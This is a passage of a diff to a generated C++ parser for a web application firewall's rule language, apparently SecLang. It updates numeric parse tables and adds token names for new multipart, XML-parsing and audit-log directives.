38, 39, 40, 41, 42, 43, + 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, + 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, + 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, + 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, + 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, + 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, + 104, -1, -1, -1, -1, 109, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, 336, + -1, 338, 339, 340, 341, 342, 343, 344, 345, 346, + 347, 348, 349, 350, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, @@ -6786,11 +6972,7 @@ namespace yy { 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, - 96, 97, 98, 99, 100, 101, -1, -1, -1, -1, - 106, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, 329, -1, 331, 332, 333, 334, - 335, 336, 337, 338, 339, 340, 341, 342, 343, 10, + 96, 97, 98, 99, 100, 101, 102, 103, 104, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, @@ -6800,215 +6982,212 @@ namespace yy { 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, - 101, 10, 11, 12, 13, 14, 15, 16, 17, 18, - 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, - 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, - 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, - 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, - 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, - 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, - 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, - 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, - 99, 100, 101, -1, -1, 331, 332, 333, 334, 335, - 336, 337, 338, 339, 340, 341, 342, 343, 10, 11, - 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, - 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, - 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, - 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, - 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, - 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, - 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, - 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, - 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - -1, -1, 0, -1, -1, -1, 4, 5, -1, -1, + 101, 102, 103, 104, 338, 339, 340, 341, 342, 343, + 344, 345, 346, 347, 348, 349, 350, 10, 11, 12, + 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, + 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, + 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, + 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, + 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, + 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, + 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, + 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, + 103, 104, -1, -1, 0, -1, -1, -1, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, 329, -1, - 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, - 341, 342, 343, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + 336, -1, 338, 339, 340, 341, 342, 343, 344, 345, + 346, 347, 348, 349, 350, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - 329, -1, 331, 332, 333, 334, 335, 336, 337, 338, - 339, 340, 341, 342, 343, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, 0, 145, -1, -1, - 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, 336, -1, 338, 339, 340, + 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + 0, -1, 148, -1, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, 331, - 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, - 342, 343, 240, 241, 242, 243, 244, 245, 246, 247, - 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, - 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, - 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, - 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, - 288, 145, 290, 291, 292, 293, 294, 295, 296, 297, - 298, 299, 300, 301, 302, 303, 304, 305, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, 317, - 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, - 328, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, 338, 339, 340, 341, 342, + 343, 344, 345, 346, 347, 348, 349, 350, 244, 245, + 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, + 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, + 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, + 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, + 286, 287, 288, 289, 290, 291, 292, 293, 148, 295, + 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, + 306, 307, 308, 309, 310, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, 323, 324, 325, + 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, 240, 241, 242, 243, - 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, - 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, - 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, - 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, - 284, 285, 286, 287, 288, 102, 290, 291, 292, 293, - 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, - 304, 305, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, 317, 318, 319, 320, 321, 322, 323, - 324, 325, 326, 327, 328, -1, -1, -1, -1, -1, - -1, 148, 149, 150, 151, 152, 153, 154, 155, 156, - 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, - 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, - 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, - 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, - 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, - 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, - 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, - 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, - 237, 238, 239 + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, 244, 245, 246, 247, 248, 249, + 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, + 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, + 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, + 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, + 290, 291, 292, 293, 105, 295, 296, 297, 298, 299, + 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, + 310, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, 323, 324, 325, 326, 327, 328, 329, + 330, 331, 332, 333, 334, 335, -1, -1, -1, -1, + 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, + 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, + 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, + 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, + 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, + 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, + 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, + 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, + 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, + 241, 242, 243 }; const short seclang_parser::yystos_[] = { - 0, 0, 4, 5, 145, 240, 241, 242, 243, 244, - 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, - 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, - 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, - 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, - 285, 286, 287, 288, 290, 291, 292, 293, 294, 295, - 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, - 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, - 327, 328, 349, 350, 351, 356, 309, 310, 146, 147, - 309, 310, 309, 310, 314, 308, 311, 315, 309, 310, - 309, 310, 309, 310, 312, 313, 309, 310, 312, 313, - 309, 310, 307, 309, 310, 102, 148, 149, 150, 151, - 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, - 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, - 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, - 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, - 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, - 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, - 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, - 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, - 232, 233, 234, 235, 236, 237, 238, 239, 330, 352, - 353, 361, 352, 309, 310, 306, 316, 8, 9, 10, - 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, - 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, - 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, - 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, - 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, - 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, - 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, - 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, - 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, - 101, 330, 331, 332, 333, 334, 335, 336, 337, 338, - 339, 340, 341, 342, 343, 358, 359, 360, 358, 358, - 352, 309, 310, 314, 309, 310, 309, 310, 357, 358, - 352, 0, 350, 106, 360, 362, 307, 309, 310, 309, - 310, 314, 309, 310, 309, 310, 329, 360, 363, 363, - 363, 363, 363, 363, 363, 363, 363, 353, 3, 360, - 360, 345, 347, 345, 347, 345, 347, 345, 347, 345, - 347, 345, 347, 345, 347, 345, 347, 345, 347, 345, - 347, 345, 347, 345, 347, 345, 347, 345, 347, 345, - 347, 345, 347, 345, 347, 345, 347, 345, 347, 345, - 347, 345, 347, 345, 347, 345, 347, 345, 347, 363, - 345, 347, 345, 347, 363, 345, 347, 363, 345, 347, - 363, 345, 347, 363, 345, 347, 363, 345, 347, 345, - 347, 359, 6, 106, 107, 108, 109, 110, 111, 112, - 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, - 123, 124, 125, 126, 127, 129, 130, 131, 132, 133, - 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, - 144, 354, 355, 363, 360, 103, 104, 105, 329, 360, - 330, 361, 330, 8, 9, 360, 355, 363, 363, 363, - 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, - 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, - 363, 363, 363, 363, 363, 363, 363, 363, 363, 352, - 363, 363, 363, 360, 360 + 0, 0, 4, 5, 148, 244, 245, 246, 247, 248, + 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, + 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, + 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, + 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, + 289, 290, 291, 292, 293, 295, 296, 297, 298, 299, + 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, + 310, 323, 324, 325, 326, 327, 328, 329, 330, 331, + 332, 333, 334, 335, 356, 357, 358, 363, 315, 316, + 149, 150, 315, 316, 315, 316, 320, 313, 317, 321, + 315, 316, 315, 316, 315, 316, 318, 319, 315, 316, + 318, 319, 315, 316, 312, 315, 316, 105, 151, 152, + 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, + 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, + 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, + 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, + 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, + 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, + 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, + 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, + 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, + 243, 337, 359, 360, 368, 359, 315, 316, 311, 322, + 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, + 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, + 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, + 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, + 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, + 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, + 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, + 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, + 98, 99, 100, 101, 102, 103, 104, 337, 338, 339, + 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, + 350, 365, 366, 367, 365, 365, 359, 315, 316, 320, + 315, 316, 315, 316, 314, 315, 316, 364, 365, 359, + 0, 357, 109, 367, 369, 312, 315, 316, 315, 316, + 320, 315, 316, 314, 315, 316, 315, 316, 336, 367, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 360, 3, 367, 367, 352, 354, 352, 354, 352, 354, + 352, 354, 352, 354, 352, 354, 352, 354, 352, 354, + 352, 354, 352, 354, 352, 354, 352, 354, 352, 354, + 352, 354, 352, 354, 352, 354, 352, 354, 352, 354, + 352, 354, 352, 354, 352, 354, 352, 354, 352, 354, + 352, 354, 352, 354, 352, 354, 370, 352, 354, 352, + 354, 370, 352, 354, 370, 352, 354, 370, 352, 354, + 370, 352, 354, 370, 352, 354, 352, 354, 366, 6, + 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, + 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, + 129, 130, 132, 133, 134, 135, 136, 137, 138, 139, + 140, 141, 142, 143, 144, 145, 146, 147, 361, 362, + 370, 367, 106, 107, 108, 336, 367, 337, 368, 337, + 8, 9, 367, 362, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 359, 370, 370, 370, + 367, 367 }; const short seclang_parser::yyr1_[] = { - 0, 348, 349, 349, 349, 350, 351, 351, 351, 351, - 351, 351, 351, 351, 351, 351, 351, 351, 351, 351, - 351, 351, 351, 351, 351, 351, 351, 351, 351, 352, - 352, 353, 353, 354, 354, 354, 354, 355, 355, 355, - 355, 355, 355, 355, 355, 355, 355, 355, 355, 355, - 355, 355, 355, 355, 355, 355, 355, 355, 355, 355, - 355, 355, 355, 355, 355, 355, 355, 355, 355, 355, - 355, 355, 355, 355, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 356, 356, 356, 356, 356, - 356, 356, 356, 356, 356, 357, 358, 358, 359, 359, - 359, 359, 359, 359, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 360, - 360, 360, 360, 360, 360, 360, 360, 360, 360, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, - 361, 361, 361, 361, 361, 361, 361, 361, 362, 362, - 362, 362, 362, 363, 363, 363, 363 + 0, 355, 356, 356, 356, 357, 358, 358, 358, 358, + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 359, 359, 360, 360, 361, 361, 361, 361, 362, 362, + 362, 362, 362, 362, 362, 362, 362, 362, 362, 362, + 362, 362, 362, 362, 362, 362, 362, 362, 362, 362, + 362, 362, 362, 362, 362, 362, 362, 362, 362, 362, + 362, 362, 362, 362, 362, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 363, + 363, 363, 363, 363, 363, 363, 363, 363, 363, 364, + 365, 365, 366, 366, 366, 366, 366, 366, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 368, 368, 368, 368, 368, 368, 368, 368, + 368, 368, 369, 369, 369, 369, 369, 370, 370, 370, + 370 }; const signed char seclang_parser::yyr2_[] = { 0, 2, 1, 2, 1, 1, 1, 1, 2, 2, - 2, 1, 1, 1, 1, 2, 2, 1, 2, 2, - 2, 2, 2, 2, 1, 1, 1, 2, 2, 3, - 1, 3, 1, 1, 2, 1, 2, 1, 1, 1, - 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 1, 1, 1, 1, 2, 2, 1, 1, 2, + 2, 2, 2, 2, 2, 1, 1, 1, 2, 2, + 3, 1, 3, 1, 1, 2, 1, 2, 1, 1, + 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 1, 1, 4, 3, 2, 2, 2, - 1, 2, 2, 2, 2, 2, 2, 2, 1, 1, - 2, 2, 1, 1, 1, 2, 2, 2, 2, 1, - 2, 2, 1, 1, 1, 1, 1, 1, 2, 2, - 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, - 1, 2, 2, 2, 2, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, - 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 3, 3, 4, - 4, 1, 2, 2, 2, 2, 1, 2, 2, 1, + 2, 2, 2, 2, 1, 1, 4, 3, 2, 2, + 2, 1, 2, 2, 2, 2, 2, 2, 2, 1, + 1, 2, 2, 1, 1, 1, 2, 2, 2, 2, + 1, 2, 2, 1, 1, 1, 1, 1, 1, 2, + 2, 1, 1, 1, 2, 2, 1, 1, 1, 1, + 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, + 2, 1, 1, 1, 1, 2, 2, 2, 2, 2, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 3, 3, 4, 4, 1, 2, 2, 2, 2, + 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, 2, 2, 1, @@ -7026,17 +7205,18 @@ namespace yy { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 2, 2, 2, 1, - 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 2, 2, 1, 1, 2, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, + 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, + 1, 1, 2, 1, 2, 2, 1, 1, 2, 1, + 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, + 1, 1, 1, 1, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, - 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, - 3, 3, 3, 2, 2, 1, 1 + 1, 1, 2, 1, 3, 3, 3, 2, 2, 1, + 1 }; @@ -7051,7 +7231,8 @@ namespace yy { "PIPE", "NEW_LINE", "VAR_COUNT", "VAR_EXCLUSION", "VARIABLE_ARGS", "VARIABLE_ARGS_POST", "VARIABLE_ARGS_GET", "VARIABLE_FILES_SIZES", "VARIABLE_FILES_NAMES", "VARIABLE_FILES_TMP_CONTENT", - "VARIABLE_MULTIPART_FILENAME", "VARIABLE_MULTIPART_NAME", + "VARIABLE_MULTIPART_FILENAME", "VARIABLE_MULTIPART_FILENAME_CHARSET", + "VARIABLE_MULTIPART_FILENAME_LANGUAGE", "VARIABLE_MULTIPART_NAME", "VARIABLE_MATCHED_VARS_NAMES", "VARIABLE_MATCHED_VARS", "VARIABLE_FILES", "VARIABLE_REQUEST_COOKIES", "VARIABLE_REQUEST_HEADERS", "VARIABLE_RESPONSE_HEADERS", "VARIABLE_GEO", @@ -7064,6 +7245,7 @@ namespace yy { "\"MSC_PCRE_LIMITS_EXCEEDED\"", "VARIABLE_MULTIPART_BOUNDARY_QUOTED", "VARIABLE_MULTIPART_BOUNDARY_WHITESPACE", "\"MULTIPART_CRLF_LF_LINES\"", "\"MULTIPART_DATA_AFTER\"", "VARIABLE_MULTIPART_DATA_BEFORE", + "\"MULTIPART_DUPLICATE_PART_HEADER\"", "\"MULTIPART_FILE_LIMIT_EXCEEDED\"", "\"MULTIPART_HEADER_FOLDING\"", "\"MULTIPART_INVALID_HEADER_FOLDING\"", "VARIABLE_MULTIPART_INVALID_PART", "\"MULTIPART_INVALID_QUOTING\"", @@ -7111,6 +7293,7 @@ namespace yy { "\"ACTION_CTL_AUDIT_ENGINE\"", "\"ACTION_CTL_AUDIT_LOG_PARTS\"", "\"ACTION_CTL_BDY_JSON\"", "\"ACTION_CTL_BDY_XML\"", "\"ACTION_CTL_BDY_URLENCODED\"", "\"ACTION_CTL_FORCE_REQ_BODY_VAR\"", + "\"ACTION_CTL_PARSE_XML_INTO_ARGS\"", "\"ACTION_CTL_REQUEST_BODY_ACCESS\"", "\"ACTION_CTL_RULE_REMOVE_BY_ID\"", "\"ACTION_CTL_RULE_REMOVE_BY_TAG\"", "\"ACTION_CTL_RULE_REMOVE_TARGET_BY_ID\"", @@ -7163,9 +7346,9 @@ namespace yy { "\"CONFIG_DIR_AUDIT_DIR_MOD\"", "\"CONFIG_DIR_AUDIT_ENG\"", "\"CONFIG_DIR_AUDIT_FLE_MOD\"", "\"CONFIG_DIR_AUDIT_LOG\"", "\"CONFIG_DIR_AUDIT_LOG2\"", "\"CONFIG_DIR_AUDIT_LOG_P\"", - "\"CONFIG_DIR_AUDIT_STS\"", "\"CONFIG_DIR_AUDIT_TPE\"", - "\"CONFIG_DIR_DEBUG_LOG\"", "\"CONFIG_DIR_DEBUG_LVL\"", - "\"CONFIG_SEC_CACHE_TRANSFORMATIONS\"", + "\"CONFIG_DIR_AUDIT_STS\"", "\"CONFIG_DIR_AUDIT_PREFIX\"", + "\"CONFIG_DIR_AUDIT_TPE\"", "\"CONFIG_DIR_DEBUG_LOG\"", + "\"CONFIG_DIR_DEBUG_LVL\"", "\"CONFIG_SEC_CACHE_TRANSFORMATIONS\"", "\"CONFIG_SEC_DISABLE_BACKEND_COMPRESS\"", "\"CONFIG_SEC_HASH_ENGINE\"", "\"CONFIG_SEC_HASH_KEY\"", "\"CONFIG_SEC_HASH_PARAM\"", "\"CONFIG_SEC_HASH_METHOD_RX\"", "\"CONFIG_SEC_HASH_METHOD_PM\"", @@ -7197,11 +7380,12 @@ namespace yy { "\"CONFIG_UPLOAD_DIR\"", "\"CONFIG_UPLOAD_FILE_LIMIT\"", "\"CONFIG_UPLOAD_FILE_MODE\"", "\"CONFIG_VALUE_ABORT\"", "\"CONFIG_VALUE_DETC\"", "\"CONFIG_VALUE_HTTPS\"", - "\"CONFIG_VALUE_OFF\"", "\"CONFIG_VALUE_ON\"", - "\"CONFIG_VALUE_PARALLEL\"", "\"CONFIG_VALUE_PROCESS_PARTIAL\"", - "\"CONFIG_VALUE_REJECT\"", "\"CONFIG_VALUE_RELEVANT_ONLY\"", - "\"CONFIG_VALUE_SERIAL\"", 